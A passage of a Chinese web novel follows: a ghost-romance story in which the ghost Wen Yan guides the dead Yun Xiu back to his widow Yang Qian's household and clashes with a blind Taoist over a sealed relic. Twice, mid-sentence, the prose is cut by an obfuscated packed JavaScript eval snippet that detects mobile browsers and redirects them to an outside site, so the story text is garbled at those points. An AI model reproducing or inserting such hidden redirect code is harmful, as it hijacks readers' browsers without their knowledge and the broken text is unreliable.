岫的手指搓磨着温润细腻的白玉酒盅,语气诚恳。 许是壶中酒早已冷掉多时,酒香没剩多少却徒留苦涩,逼得年轻公子眉头紧皱,使他本就病弱的脸颊更显苍白。 杨浅大概也没料到眼前人会直接道歉,一杆红缨枪是收也不是不收也不是,默了默,最终还是抬手收起枪杆抱拳,算是揭过这一茬。 众人想看的热闹没看成,纷纷喊着“无趣”“没用”“怂包”,又各自勾肩搭背地喝酒去。 窗外虫鸣伴着月色都提醒着此时此刻已是后半夜,杨浅见岫坐在窗边一动不动摸不准他是个什么意思。然而杨小姐也并不在乎别人是个什么意思,她只知道自己的意思是不想再和这个奇怪的人纠缠,于是女郎仓促间离席,如同她来时一样匆匆,临走还不忘提上一脸懵逼的杨潜。 却不知道岫一直盯着她的背影目送她离开。 彼时的杨浅只是十四岁的少女,一双素手已经布满老茧和死皮,岫甚至可以想象得出还没有枪高的小小女郎是怎样寒九酷暑日夜不停地练习她手中那把杨家枪的。 杨家,的确值得世人敬重,他也的确应该为自己的口不择言道歉。 杨浅或许永远也不会知道眼前这个少年出于怎样的心意说出这句话的。 不过这也没什么,原本二人的交集应该止步于此,一个是塞北天上雁,一个是京城富贵花,从此男婚女嫁各不相干。 可偏偏造化弄人。 潜龙十六年,武宗皇帝驾崩,新帝登基大赦天下,重新与胡人互通马市。 次年羯族进犯,早已卸甲归田的定北侯杨遇再次挂帅出征。 但是十七岁的杨浅得留在京都。 杨家男人在外挂帅,女人在京都为质是大家心照不宣的传统。 尽管杨浅是杨家小辈里最有将帅之才的后人。 尽管杨浅有武宗皇帝亲批的郡主封号。 可惜杨浅是个女郎。 是啊,哥哥是潜龙在渊的潜,而她则是水浅鱼薄的浅,同音不同字,同源不同命。 岫第三次见到杨浅便是此番光景。 身材曼妙的女郎站在梨树下将一杆杨家枪耍得虎虎生威。 但是岫知道她不高兴。 “梨花白,你喝吗?” 他将自己私藏的酒递给杨浅。 少女回眸,露出一个比哭还难看的笑容。 岫的心顿时搅成一团乱麻。 他见过巧笑倩兮的杨浅,见过英姿飒爽的杨浅,也见过锋芒毕露的杨浅。 她尤如一株火红的木棉迎着朝阳恣意生长,好像永远不知疲惫,峥嵘蓬勃蕴藏着无限生机,何时露出过这样忧郁的神情。 安慰人的话就那样不假思索地脱口而出。 “我从前总觉得意难平,为何旁人生来健全,能跑能跳,而我却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363380|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能坐在这两个轮子搭起来的板子上由旁人决定往哪里走。 小时候我的脾气很坏,总是没由来地发脾气。 有时候会大声尖叫吓唬别人,常常仗着长辈宠溺胡乱打人,连家中兄姊都讨厌我,更别提亲朋故旧的同龄孩子了,见到我唯恐避之不及。 我没什么朋友,只有几个小厮们为了我母亲的几个赏赐会硬着头皮陪我玩。 有一次我的小厮小安去帮我买刘阿婆家的桂花糕,留我一个人在廊下避雨,不曾想有顽劣小儿故意把我推进雨中。 你淋过夏日暴雨吗?” 岫的目光飘向远方,漂亮的眸子里盛满了无边无际的落寞。 “从头浇到脚,虽然不冷,但是打在脸上很痛。我当时只有一个念头,我不想活着。 如果我的人生从开始那一刻注定没有尊严,那活着的每一天于我而言都只是无尽的痛苦罢了。” 他的声音轻飘飘的无法落地,就好像预示着他的一生注定虚无缥缈。 杨浅接过岫递过来的的掐丝描金酒壶灌了满满一大口金黄色的酒液,很没形象地在衣袖上揩了一把汗,幽幽道:“公子羡慕旁人健硕的身躯,何知旁人不羡慕公子优渥的家世?” 话音刚落她不由愣住,抬眼望去,年轻的公子正眉眼温和地望着她微微地笑。 她是笼中鸟,兄长又何尝不是掌中物呢? 她的胞兄杨潜与文副将的千金青梅竹马,两小无猜,情定终身,最后不也不得不按照陛下的意思硬着头皮娶贵顺公主做妻子吗? 杨浅再看眼前人,鬼使神差便说出了那句:“虽不幸矣,何不勉尔?” 她三两口稠酒下肚已然是醉了,可即便是醉了依旧能读懂年轻公子那淡泊的语气下无法言语的悲苦。 她知道眼前这个人说的“我不想活着”并非玩笑,他满腔的愤恨不能发泄,只能日日对着自己这具躯壳横眉冷对。 所以她愿意为他舞枪,博他偶尔展颜一笑,愿他能获得一点点生命的甜头。 “活着是这世间第一等大事。” 她如是说。 有阵阵清风拂过,满园梨花簌簌落下,很快便落满少女的肩头。 岫忍了又忍,还是没有按耐住替他心仪的姑娘拂去衣上的残花落叶的冲动,如玉如竹的手指微微颤抖着,极其克制地轻轻捻去少女衣衫上的碎叶。 他自幼被娇惯着长大,一向有些颓废的不顾所以,这还是他人生中第一次生出发乎情止乎礼的克制。 三次自我放逐,次次都有杨浅,岫觉得自己一定是魔怔了,要不怎么会爱上一个和全京都城的贵族小姐们都不一样的姑娘。 他在心里默默鄙夷自己癞蛤蟆想吃天鹅肉,可感情这种事一旦发生就是洪水猛兽非人力所能为,他只想离她近一点,再近一点。 自上次分别后二人渐渐有了书信往来,大多是杨浅给岫写信,今日猎了什么小猪小兔小鸭子,明日喝了谁家新酿的果子酒,总是趣事多多。 而岫只偶尔回信,且回信也是干巴巴的只言片语,言简意赅。 他的生活实在无趣得可怜。 可今次不同,岫捏着小厮新送来的杨浅的信,心中涌入一阵不好的预感。 平时三五页纸也说不完的话这次怎么只有薄薄一张纸条? 他怀着这样忐忑的心情,眉头紧锁地拿着剃刀慢慢拆开潦草的火漆印,信纸上只龙飞凤舞地写着寥寥几个大字。 “你能不能娶我” 岫不知道。 他想找杨浅问问清楚,问问她为什么要嫁给一个这辈子都站不起来的男人,问问她是真的喜欢他还是拿他取乐。 可惜没等他找杨浅问清楚,等来的居然是广武将军杨潜贪功冒进,被羯人俘虏,定北侯杨遇私欲过重爱子心切,结果大意丢三城,最终畏罪自裁的消息。 自此,全京都的人都知道,定北侯杨家,完了。 岫和杨浅的婚礼是悄悄进行的,提亲下定到出嫁只用了匆匆十几日,杨浅便彻底从杨氏女冠上了岫的姓氏,罪不及出嫁女,与问罪当斩的杨家再没什么干系。 而唯一让人津津乐道的是,幼慧郡主杨浅出嫁当晚,杨家的遗孀二夫人和四夫人双双自挂东南枝,和杨家的荣耀与罪名一起随风而去。 那天,新婚的杨浅面无表情地站在后山腰的看山亭里朝定北侯府的方向望了许久,岫不知道她在想什么,又或者他知道却怎么都无法开口。 他为了说服父母求娶杨浅已经穷尽毕生手段,威逼利诱哭闹上吊,再没有力气问杨浅一句为什么,她是为了保命还是什么都已经不重要了,他既决定娶她,便没有反悔的道理。 他愿意做她的丈夫,甚至满心欢喜。 故事讲到这里只差补上一句“良缘夙缔,佳偶天成”,便能圆满完结。 可是岫最后又是怎么死的呢? 闻砚盯着眼前这个年轻的男鬼,看起来不过二十五六的年纪,显然不像画本子里写的那样两情相悦白头到老幸福美满的过完一生。 不过她也来不及继续听故事,因为马车渐渐慢下来。 待到黑烟浓雾散去,定北都护府五个敕金御笔的大字赫然映入眼帘。 闻砚乌黑浓密的头发像绸缎又像瀑布,连同她整个人一起笼罩在黑色洒金琉璃纸伞的阴影下晦涩难明。 她笑着邀请岫:“你运气不错,子时将近,岫公子要不要一起故地重游?” 4. 往事不可追 哪里阴气足? 更深露重,小心火烛— 铛—铛—铛— 三更天的锣声响过,漫天白雾笼罩大地,闻砚领着岫在都护府里穿行。 可不论她怎么走,只有越来越浓郁的雾气和不断延长的小巷。 这让一向自诩好脾气的闻砚大人端都端不住,神情变得很不耐烦,问岫:“你家闹鬼吗?不然怎么会设这么讨厌的结界啊!” 冥鬼在在阳间本就虚弱,何况闻砚没有真魂只有七魄,对她来说每来阳间一次使用都是极大的伤害,为了留存法力她能用凡人的手段解决的问题绝不轻易用法术。 可是今次不同,自进入燕北都护府以来,二鬼已经围着那棵蔫巴巴的大槐树兜兜转转大半个时辰,连半个人影都没看到。 她原以为是凡人术士用来对付邪祟的那两下子三脚猫的阵法,找到阵眼即可打破这个鬼打墙,谁晓得绕来绕去始终找不到罩门,心中隐隐升起一个不好的念头。 如今这种情况唯有一种可能,困住他们的不是什么法阵,而是真正有修为的道人设下的结界,还是专门捉厉鬼妖邪用的大凶结界。 她心中默默盘算着她吸的阳气还够不够补这次消耗,算到心痛之处,忍不住朝着路边的小石子飞起一脚。 岫:…… 大气儿都不敢出的他见闻砚皱眉,不由神色微变,从那张还不怎么服帖的纸脸上挤出一抹尴尬的笑容:“我与阿浅成婚不久便分居……杨家的事物我不是很熟悉……” 他陪着笑脸,不知道是还没适应纸身还是掩饰内心的不安,手脚僵硬得无处安放,显得又局促又卑微。 自己家自己不熟悉…… 闻砚顿时头大如斗。 罢了罢了,毕竟开门做生意,诚信还是很重要的,谁叫她立志做一个言而有信的鬼呢。 随着她的一声叹息苍白枯瘦的双手微微起势,指尖轻盈地翻转变化,伴随唇角轻轻一声“破!”,天幕屏障霎那间如同枯竭的水帘一般稀里哗啦地退个干干净净。 没有结界屏障府中真实景象很快一一显露。 远处也清晰可见人影流动。 岫一下子变得异常激动,甚至下意识呼唤出声,“阿浅!” 闻砚顺着他的目光望过去,只见一个玄衣束发的女子正临水负手而立,不是故事里的女主角杨浅是谁? 但很快闻砚便顾不上女主角本角,而是被她身旁三步距离外跟着的一位白衣道人吸引。 二人仅仅隔湖遥望,闻砚已能感觉到他身旁灵气萦绕,或许不久此人便会飞升成为某位仙君。 倒是有趣,仙界的仙君千千万,不知道这人是个什么命格,她微笑着习惯性地掐指一算。 …… 她的笑容凝固在脸上。 四周竹树环合,可闻针落,正如闻砚此时的内心。 什么情况?她并没算出此人有飞升之相。 这不可能啊?他的灵气满得已经从天灵盖上溢出来了。 闻砚正疑惑间,那位道人似乎也察觉到有生人闯入结界,一言不发就释放神识开始探查整座府邸。 闻砚:“……” 操!! 震惊之余,她情不自禁地用手拢住平整的衣襟,将手中的聚阴伞握得更紧。 要知道使用神识放在任何人身上都是非常耗费法力的,如果不是灵力充沛法术高深之人绝不可能随意施展这么大面积的识海追踪术。 闻砚不由得对这位白衣道人生出几分好奇来。 幸而杨浅及时出声,歪打正着地打断那位道人的施法,“长离道长,舍妹的病情到底如何?” 她眉眼淡漠,与岫口中那个“鲜妍明媚”的女子大相径庭。 长离闻言笑:“并无不妥,好生养着即可。倒是听说府上闹邪祟,一年内已经有两人暴毙而亡,令妹的病情来得蹊跷,郡主娘娘若是愿意,某可以代劳,至于报酬——郡主必然付得起。 我听闻杨家乃战神转世,家中供奉着一件上古时期三界混战时留下的宝物,我只要那个。” 空气有一瞬间的凝滞。 半晌,杨浅客客气气地顾左右而言他,“道长言重了,那两人暴病而亡是也不是,许是原本身体就不好一直没声张,其他人道长也看了,府内并无疫病。邪祟腌臢我们杨家向来是不信的不必再提。道长医术了得,悬丝搭脉便可治病救人,杨府上上下下都感念道长恩德,待阿岩醒来我定差人献上足礼。” 兜兜转转这么些年,这姑娘居然也学会了绕弯子,说了这么多,言下之意无外乎就是一句话,宝物休想,等会儿拿了钱赶紧给劳资滚蛋。 杨浅这反应倒也在长离的意料之中,杨家若是能轻易放弃传世的秘宝那才是见鬼了。 这一问不过是一次小小的试探,得到杨浅下意识看过去的方向,他心中已有答案。 他来得突然去得也突然,不消一会儿功夫园子里便只留杨浅一人,此时又是子时,阴气重而阳气衰的时候,非常适合逝者灵魂入梦探亲。 闻砚瞥见一脸失落的岫,拿出一支小小的犀角安慰他:“这是灵犀的角,有通灵的妙用,一会儿我使个催眠咒,待杨浅入睡你们夫妻立刻便能团聚,你放心我织梦的手艺还很不错,保证你们能在梦中度过愉快幸福的一生,抚平生前遗憾……” 她话音未落,便听杨浅朝着她与岫的方向道:“夫君?你怎么到这里来了?不是说了不要到处走动吗?若是真的有什么不干净的东西冲撞到夫君,叫我如何能心安?“” ??? 难道自己的隐身术对岫不起效果了? 闻砚将信将疑,转头去看身侧毫无存在感的另一只鬼。 下一秒闻砚几乎是炸着毛跳起来。 疯了疯了,她转头的空档正正巧巧被一个男人视若无睹地穿魂而过。 闻砚此时此刻心里只有一个念头,全是国粹!!! 然而她并没来得及有什么动作,因为她和岫眼睁睁看着杨浅挽上男子的胳膊,动作轻柔地替他拢好披风前的飘带。 男子细眉弯目,乍看之下居然有岫的两三分神韵。 替身文学? 闻砚一边在心里暗暗鄙夷八卦的自己,一边忍不住拉着岫离杨浅和她夫君更近。 “夜间风寒,郡主一个人在湖边呆久了我不放心。听说岩妹的病有个方外人能治?” 杨浅不知道是不是似有所感,一直不错眼地看向岫的方向,漫不经心道:“不过是个方士,能治好阿岩最好,治不好拖出去杀了就是,哪用得上劳烦夫君操心。夫君今日劳累一天,还是早点歇息吧,今晚我让翠娘陪你?” 她轻轻挽住丈夫的胳膊,低垂的眉眼中满目萧索。 男人立刻知情识趣道:“郡主说哪里话,岩妹病重,郡主正是需要我的时候,通作为丈夫怎么弃妻子于不顾而独自享乐?” 三绕两不绕,话又说回来:“倒是有一桩事,那刘小娘子的亲眷依旧来府上吵闹,说是当日是王田阳带人擅闯杨家禁地,与刘小娘子无关,郡主您……滥杀无辜…… 我自是知道郡主不是这样的人,正因如此,岩妹也是去过北苑祠堂后一病不起……府内人心惶惶,便是为了安大家的心,郡主也该考虑一下让道士入府来……或供了家神……” 杨浅听了不高兴地皱眉:“这可是陛下的意思?陛下一向不信鬼神,若是都护府里大兴道场被人谗言中伤也不好。” 她都这样说了,庄通还能说什么?当然是柔情蜜意地揽过妻子的肩头。 …… 闻砚扒着眼睛从指缝里心满意足地看完一整部爱情片,啧啧回味中,忽闻身边有人轻声咳嗽,“咳咳。” 健忘的老人家恍然间后知后觉想起身边还有一位快碎掉的前夫哥。 她良心发现,提出宝贵意见:“要不明日再入梦?反正你来阳间待多久都行,也不急在今日。”还试着劝他:“你看现下已是后半夜,就算现在她立刻入梦也很仓促,何况一会儿天亮了很麻烦的。” 其实闻砚是怕岫太过激动冲上去将两人统统咬死,毕竟男人好像都有莫名其妙的绿色恐惧症。 岫不置可否,“我听闻砚大人的。” 他做人的时候是个脾气温和的人,做了鬼依然是个脾气温和的鬼,对于闻砚提出的建议没什么意见。 反而是闻砚,见他这么好说话不禁为自己的小人之心生出些许的不好意思来。 可话已说出口又不好朝令夕改,索性双眼一闭摆烂道:“找个阴气足的地方睡一觉,明晚再来。” 哪里阴气足? 当然是供奉着无数死人的祠堂啦! 说走就走,二鬼一路向北飘,直奔杨氏家祠而去。 祠堂位于杨府东北角,一入内必然无法忽视的是院中那颗三人合抱粗的老槐树,枝桠繁茂郁郁葱葱向院外延展,若是白日定要遮去庭院里大半的阳光。 而后才能看到挂着“恩深沐重”四个字的阴沉的黑漆门匾,有一种说不清的压得人喘不过气的庄严。 再往里去又见“福泽绵延”的匾额整整巧巧高人一头,使内里气流只进不出。中堂里则密密麻麻地摆满了英灵排位,好似无数千百双眼睛直勾勾地盯着闯入者质问:“堂下何人?”< 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“大人,请看这边,” 有人压着嗓子喊她。 闻砚循声望去,只见她思考的空档,岫已经飘到排位前的供桌下,撅着腚冲她招手:“这里这里,大人,来这里。” 位置倒是个好位置……就是这个姿势有点……倒也不必如此。 算了,此时不是计较这事儿的时候。 随着脚步声越来越近,两鬼一拍即合,缩着脑袋你一坨我一坨地团在供桌下。 来人的确是长离,只不过长离并没有像闻砚以为的那样在祠堂逗留,而是大步流星地绕过香案,直奔身后的灵牌而去。 只见他手起刀落,干脆利落地持剑朝着最上方的一块高祖牌位拦腰一挥,方才还明镜高悬冷漠森严的灵牌瞬间一分为二,如同失去生命力的枯叶簌簌落地,发出沉闷不甘的声响。 “呵,” 在长离不屑的冷笑声中,一间密室缓缓打开。 好巧不巧,地道正正好好开在闻砚和岫藏身的香案下…… 闻砚还好,毕竟上千年了,是经验满得溢出来的鬼,对漂浮技能熟悉的不能再熟悉,很快便稳住身形。而岫则没有这般走运,魂体沿着密道一路滚进来,最后啪唧一声摔在地上,半天都不能聚拢。 “斯—”闻砚感同身受似的,捂着脸从指缝里露出一丝眼睛跟着岫心惊肉跳。 一步,两步,三步……脚步声越来越逼近,闻砚感觉自己死了好多年的心马上要跳出来问安。 “流年不利,流年不利。” 这密室狭小,避无可避,若是被看破本相少不得要打一架。 她在心里叹了第数不清多少口的气,默默念道:“阿三,过来。” 法随心动,三青弓如宝剑出鞘,稳稳盘在闻砚臂弯中铮铮泛着冷光,因长时间不曾械斗,隐隐可见兴奋之色。 长离倒没像闻砚见过的那些修道士那样满脑子除魔卫道,对着她这个老鬼大打出手。 他目标明确,心智坚韧,直奔密室主室。 此时跟随他一路飘过去的闻砚终于弄明白自己一直从进入定北都护府以来的不对劲儿是怎么回事了。 按理说,杨氏乃武将世家,手上人命多如牛毛,居所必然戾气萦绕,正是精怪们修炼的好去处。 可她看到的杨家妖、魔、鬼、怪什么都没有,简直干净得不正常。 之前她还以为是道士们在府中驱邪所致,可直到此时看见这间密室,她才明白到底是何缘故。 脚下这里与其说是一间密室,不如说是一间天囚。毕竟没有谁家修个密室修成八卦罗盘的模样,还能容百人祭祀。 闻砚看着八卦阵中正中间陈设的祭坛,不禁汗毛倒竖,毛骨悚然。难怪杨家能成为千年的将门世家,这位杨氏高祖的胆子可不是一般的大啊。 不知祭坛上那密布咒文的魂瓶里用秘术封印的是哪位真神的魂魄,千百年不得安息,居然没有滋生出半点怨气。 闻砚在心中一一细数如今还未陨落的神明,企图推测出祭坛上那个倒霉蛋的真实身份,却忘了在场的除了那位漂亮的道士,还有岫这个不懂规矩的新鬼。 眼看着长离就要将祭坛上的魂瓶取下来,他急得嘴角直冒泡,这是杨家人的命脉,没了它杨浅也活不成了。 岫顾不上许多,一拍脑袋就要冲上去与人拼命,“你住手!”他大声喝止,二话不说抬脚向阵眼踩去。 5. 道长哪里跑 长离本就是冲着魂瓶里的那物件而来,根本没在意这屋里的动静,此时遭人打断他想也没想,本能地一掌朝岫拍去,可惜并不能改变什么,岫这一脚恰到好处得要命,千年的法阵被激活,整间密室都被红光火焰笼罩。 这一切不过发生在朝露之间谁也来不及反应,闻砚只能眼睁睁看着岫的纸身在长离的掌风下一片一片碎成渣渣,连同缩在纸身里的魂魄也开始模糊消散。 真是时运不济,偏在她法力所剩无几时要用法术。 闻砚心急道:“你这道士瞎了眼不成?忒不讲理!!怎好不问青红就下死手??”说话间赶紧将之前收阿三用的翡翠百宝瓶再次掏出来,急吼吼朝魂飞魄散的岫大声喊道:“快回来!收回来!” 一边喊还一边不顾形象地蹲在地上捡起剩下的碎片往瓶子里塞,费了九牛二虎之力,才勉勉强强将岫的魂魄聚在瓶中。 天地为牢,方才唾手可得的魂瓶被阵法烈焰包裹吞噬,长离气急反笑,抬手布阵结界,周遭气流顷刻间随之翻涌,连同阵法里的熊熊烈焰都随他剑锋而动。 他咬牙喝道:“你,找死。” ??一言不合就开打吗?会不会发展的有点太快了啊喂!! 闻砚怀着满腔诽议,很快被逼近狭窄的犄角。 “该死的臭道士!”闻砚好气,又不得不打起十二分的精神小心避让,一人一鬼你追我赶鸡飞狗跳地在烈焰中跑了两个来回,她这才后知后觉地注意到,感情眼前这厮真是个瞎了眼的。 难怪已有仙人之姿却还未飞升,原来是肉身有疾。 她再次感慨自己运气太差,遇到个普通道人自是不怕,遇到个能成仙的放在平时也是不怕,可巧就巧在以自己现在这点法力连刚刚化形的小妖尚且不如,真要起冲突,恐怕唯有肉搏。 闻砚不想肉搏,太不优雅了。 可惜,今天不是个好时候。 她生前是断头而亡,气管血管声带全部被割断,平时有法术修复尚无不妥,此刻法力不够,声色自然无法修复,说话不漏风已是仔细缝合后的结果。 于是她只能操着那口显见得不算娇柔的嘶哑声色,如老驴拉磨,吱吱嘎嘎,“道长且慢,”她着硬着头皮道:“我无意冒犯,但你方才打散那位与我有几分渊源……” 白衣道长眼角眉梢都没动一下,对她的废话充耳不闻,发了疯似的抬手就是一记挂满了“要你狗命”的手刀,烈焰立刻随风呼啸而去。 眼见巽位也被封住,生门被越堵越紧,实在避无可避,闻砚无奈之下只好提气凝神,顶着强大的禁制压力催动法术迎战。 只见她朱唇微动,召唤道:“剑来!” 缠在她腰间的腰带言出法随即刻应声幻化出一柄软剑,以盘龙之姿挡下长离手刀化刃直劈面门的一击。 软剑瞬间在烈焰火舌中化为齑粉。 !!!! 雾草!! 闻砚抚胸庆幸,幸好没用三青……不然阿三又要唠唠叨叨说自己把她弄脏了…… 然而她等了半晌,并没有等来更猛烈的攻击,方才还欲置她死地的道长先生不知道是不是没注意到自己还流淌鲜血的左臂,直愣愣地如泥塑木雕般僵硬在原地,连呼吸都停滞了。 闻砚不明所以。 她没下手重啊??不能挂了吧? 还是这厮冷静下来了?……等等,他该不会是有疯病吧? 就在闻砚在心里暗自猜测了几百个来回,“有病”的道长先生再次抬手起势,这次却是春风化雨的托举将人温柔地带出密室,视线再次被拉回杨氏祠堂。 东方既白前的祠堂悄然无声,唯留红烛噼里啪啦燃烧的声音,若不是岫的魂魄还装在腰间的葫芦瓶里,闻砚差点要以为方才密室里的火焰热浪不过是黄粱一梦。 她不解地瞥向刚才还杀心四起的长离,此时借着烛火才来得及看清楚他的容貌。 白衣道长眉眼稀松,一张山峦起伏的素面上独留一条干净的玉清发带遮住双眸,眉心一颗朱砂痣透过冰肌玉骨般晶莹的额头,更显清冷绝色,一看就是平时从不接触女香客的正经出家人。 不知为何闻砚脑子里突然蹦出几个曾经在画本子里听过的通用桥段,被迷惑的书生,貌美邪恶的女鬼,和正义凌然的道士。 她突然生出几分狭促之心,学着女妖精们的标配伎俩,拿葱玉食指绕着头发梢不停地打圈,扭来扭去地试图摆弄身体来表现搔首弄姿,嘻嘻笑道:“道长生得一副好皮相,不如我们双修,如何?” 正经的长白衣道长面不改色,有体温的嘴里蹦出的话比挂冰碴子的尸体还冷,道:“荒唐!” 见剧情对得上号,闻砚顿时玩心大起,并不打算放过他,娇娇软软得作势往道长身边一歪,原是想吓唬吓唬这厮,谁晓得长离并没有躲开,反而长臂一展将将托住闻砚的肩头,轻巧送力不过须臾便稳住故意摇摇欲坠的姑娘。 这突如其来的触碰让闻砚大惊失色,慌乱中抓住年轻道长修长的手。 肌肤亲近,双手交握,道长的手指不经意地划过少女的虎口,意外地摸到了那条隐秘的不为人知的疤痕。 !! 长离心中一荡,艰难开口:“你……你是……” 闻砚奇道:“什么?” 长离这次却垂着头如锯嘴的葫芦,一言不发。 半晌,他露出一抹极淡极淡的自嘲的微笑,任由鬓间垂下一缕白发,“没想到姑娘居然能化形,本以为姑娘是个鬼,猛然间摸到实体,心中激荡一时失态,是我言行无状了。” 什么跟什么嘛!书里都不是这么写的啊?一点都不好玩儿! 闻砚失望地瘪瘪嘴,站直了身子。 “你方才说这里有鬼魂作祟,是说我吗?” 她指着自己的鼻子,一脸震惊。 但其实她多虑了,因为很正经的长离道长压根儿没把她这个鬼放在心上。 “有人来了,先躲躲。” 道长侧头倾耳,随着空气中传来的微小细碎的气流,双指并拢上下一翻,祠堂里的红烛尽数熄灭。 闻砚躲在长离身后,鼻尖被不知名的水木气息萦绕,不知为何,有那么一瞬间闻砚觉得眼前此情此景十分熟悉。 然而这也只是一瞬的记忆,从前这样漫天复杂的记忆碎片不知凡几,闻砚并没有放在心上。 来人是杨浅的夫君庄通。 他踮着脚提了一筐纸元宝,蹑手蹑脚地摸到一堆黑漆漆阴森森的排位前,驾轻就熟地找出自己要祭的那一位。 夫·上清云氏岫之灵位。 暗淡无光的沉水木上用白色颜料轻轻楚楚写着供奉着的亡魂生前姓名。 原来岫在凡间的姓名是云岫啊! 闻砚恍然大悟,那杨浅提到的云岩不是杨浅的妹妹,而是云岫的妹妹咯? 这厢闻砚还没想明白这其中曲折离奇的故事情节,那厢庄通突然抓过一把纸钱塞进自己嘴里。 闻砚一愣,实在是没忍住,用很小声的气声同长离吐槽:“这丫是不是有病?” 长离一点儿不客气,抬手捂住闻砚的嘴,“嘘,听他说。” 果然庄通已经开始喃喃自语:“若真是你,冤有头债有主,是郡主执意要嫁我的,与我无关啊。你收了钱下去想娶几房就几房,别再惦记人间事儿了……” 感情他们以为杀人作祟的是云岫的鬼魂啊! 庄通一边往火盆里丢纸钱一边念念有词,烧了好一会儿,久到闻砚的腿都蹲麻了,正想起身换个姿势,胃先闹起脾气,跪伏在地上阵阵干呕,呕到最后吐出两只纸元宝,他这才后知后觉意识到自己方才吃了一肚子的冥纸。 紧接着长离和闻砚耳边响起杀猪般的惨叫,几乎要将二人的震碎耳膜。 “聒噪!” 长离依旧背着他那把破剑,潇潇洒洒地从一圈森冷的牌位后面绕出来,衣袂翩翩,人模狗呀,让闻砚在心里好一阵吐槽。 长离像是看破了闻砚的腹诽似的,及时打断,使唤她:“用清心咒给他找找魂。” 你们道家的东西还用得着我一个人不人鬼不鬼的帮忙啊? 闻砚翻着白眼,心下默默吐槽长离肯定是修炼的时候做功课不认真,人却口嫌体正直地掐了一段清心咒,说时迟那时快,一掌拍进庄通的会中穴。 “啊——” 回过魂的庄通再次发出杀猪般的惨叫。 闻砚捂耳,“请问这位道长公子,我能一巴掌拍死他吗?” 长离咋舌,“不能!你这脾气,怎么还是像个小孩子一样。” 庄通尖叫:“啊!啊啊啊!啊!……” 在庄通看来现在的局势很明显,一个白衣飘飘的男鬼突然出现掐住他的头,然后开始自言自语。 这画面,真的不要太诡异! 闻砚不知道长离是怎么忍下来的,反正她的耳朵已经忍无可忍,拼着再次触发禁制也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363382|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要催动法术显相,露出一副青面獠牙的忿怒模样。 “有……有鬼啊!” 庄通两眼一翻,彻底吓晕过去。 “哎,你又吓人做什么。” 长离无奈地摇摇头,顺手用剑柄抵住马上要用脑袋着地的脆弱凡人,勉强救人一命。 闻砚不以为意,目光被长离手上的那柄破剑吸引,压根儿没品出那个“又”字从何而来。 “道长你这剑真好看!!” 她的眼睛都挪不动道了。 那把剑在外人看来不显山不显水,破破烂烂和一块儿废铁没什么两样,剑柄上甚至布满了锈迹,剑鞘上也缠裹着陈破不堪的白布条,让人完全不想注意到它。 然而闻砚却透过剑鞘看见里面那通身泛着红色灵光的剑身,这是一把已经催生出器灵的神兵利器。 “我与道长双修,道长将手中的宝剑赠我如何?” 她还是没放弃“双修”这句烂俗的台词。 长离淡淡的眉眼终于露出一丝裂痕,咬牙切齿道:“双修不是这么用的,小姑娘家家,这个词不要再用了。” 好吧。 闻砚不置可否,正想换个说辞骗得宝剑,长离道:“有人来了。” 阿西!!! 又是谁啊!!! 坏她好事!!! 闻砚很想吃人!!! 壁影之外人影绰约已然逼近。 “…….” “道长这是?”杨浅奇道。 也是,任谁见着自己丈夫以一种极其怪异的姿势枕在一柄剑上都会觉得奇怪吧。 长离一边收剑,一边说明情况:“他来祭奠…云公子,被吓到了。” 怎么吓到了却没说。 他本不是话多的人,这样一说杨浅反而不好说什么,凭着本能盯着闻砚的方向瞧。 直到长离似有所感,问她,“郡主过来是?” 杨浅似乎才反应过来,神色肃穆道:“云岩病了。” 这可真不是什么好消息。 闻砚捂着嘴把脑袋摇成了拨浪鼓,见长离半天没反应,这才恍然想起这位漂亮的道长根本看不见。 她心中不由涌起一阵淡淡的遗憾。 “不是我,也不是云岫,我一直和你在一起,云岫的纸身被你一把火烧个精光,他的鬼魂又灵力溃散,都快碎成渣了,根本没有作祟的能力。” 她将自己要说的话连同拖了尾音的气腔一起催进长离的耳朵里。 长离当然知道不是闻砚,而云岫一个小小的凡人鬼魂还不足以突破他设下的结界。 这事儿很明显是有人冲着杨家供奉的那物来的。 杨浅心里也隐隐有了推断。 刘娘子摸过杨家供奉家仙的灵坛,所以暴毙而亡。 王大监带人擅闯杨家禁地,于是王大监无故自缢。 云岩抱了魂瓶,自此一病不起。 杨浅迟疑道:“难不成真是妖邪作祟?” 她并不信什么起死回生,可她又的的确确感觉到云岫就在身边。 可云岫怎么会伤害云岩呢? 杨浅实在很难相信。 他们杨家人,杀人,也被人杀,却从来没有被邪祟盯上过。 自她掌管杨家以来更是闻所未闻。只有云岫头七那天,她见过一个奇怪的姑娘。 “十七八岁的模样,手执黑色洒金琉璃伞,从头到脚一身诡异无比的黑袍,眉眼如月,妖艳异常,不知道她是不是…” 闻砚拽着长离的衣袖大呼冤枉。 笑话,自己现下阳气不足,法力几乎全部被杨家密室里的法阵压制,和长离硬碰硬肯定吃亏,傻子才靠武力解决问题。 她能屈能伸,睁着眼睛说瞎话,“那肯定是我一时忘记怎么施展隐身术,我是个老人家,记性不好。 而且我哪知道她什么时候见过我,胡说八道,我根本不是什么妖鬼邪祟。” 还是那个一着急就信口胡诌的性格。 